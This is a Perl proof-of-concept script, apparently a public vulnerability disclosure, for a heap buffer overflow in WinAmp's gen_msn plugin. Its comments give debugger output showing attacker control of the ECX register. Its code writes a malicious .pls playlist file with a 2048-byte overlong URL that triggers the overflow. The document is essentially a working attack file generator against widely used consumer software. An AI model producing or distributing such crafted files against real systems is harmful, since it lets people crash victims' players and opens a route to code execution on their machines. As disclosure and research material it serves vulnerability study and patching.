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#!/usr/bin/perl
# WinAmp GEN_MSN Plugin Heap Buffer Overflow
# ------------------------------------
# Discovered by SkD (skdrat@hotmail.com) &
# (skd@abysssec.com)
# ------------------------------------
#
# I'm not much for posting PoCs because
# I like writing exploits for whatever
# I discover and if I don't, its a waste.
#
# Anyway, this buffer overflow is located
# in the gen_msn plugin, which
# is basically a plugin that shows what
# song you're currently listening to
# on your PM in MSN. The plugin has over
# 800,000 downloads so its serious..
# (http://www.winamp.com/plugins/details/144799)
# This is similar to my other recent exploit
# for VUPlayer because it uses the same point
# of the .PLS playlist file!
#
# Debug Info:
# MOV EDI,DWORD PTR DS:[ECX+EAX*4+960]
# Regs:
# EAX 00000003
# ECX 41414141 <- Clear control over the register
# EDX 007EA478
# EBX 40000001
# ESP 028F1DB0
# EBP 77230459 USER32.SendMessageA
# ESI 08FD62A8 gen_msn.08FD62A8
# EDI 00497300 UNICODE "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EIP 08FD293C gen_msn.08FD293C
#
# Peace out.
# _________ ___ ________
# / _____/| | __\______ \
# \_____ \ | |/ / | | \
# / \| < | ` \
# /_______ /|__|_ \/_______ /
# \/ \/ \/
use strict;
use warnings;
my $overflow = "\x41" x 2048;
open(my $pls_playlist, "> poc.pls");
print $pls_playlist "[playlist]\r\n".
"NumberOfEntries=1\r\n".
"File1=http://".
$overflow.
"\r\n";
close $pls_playlist;
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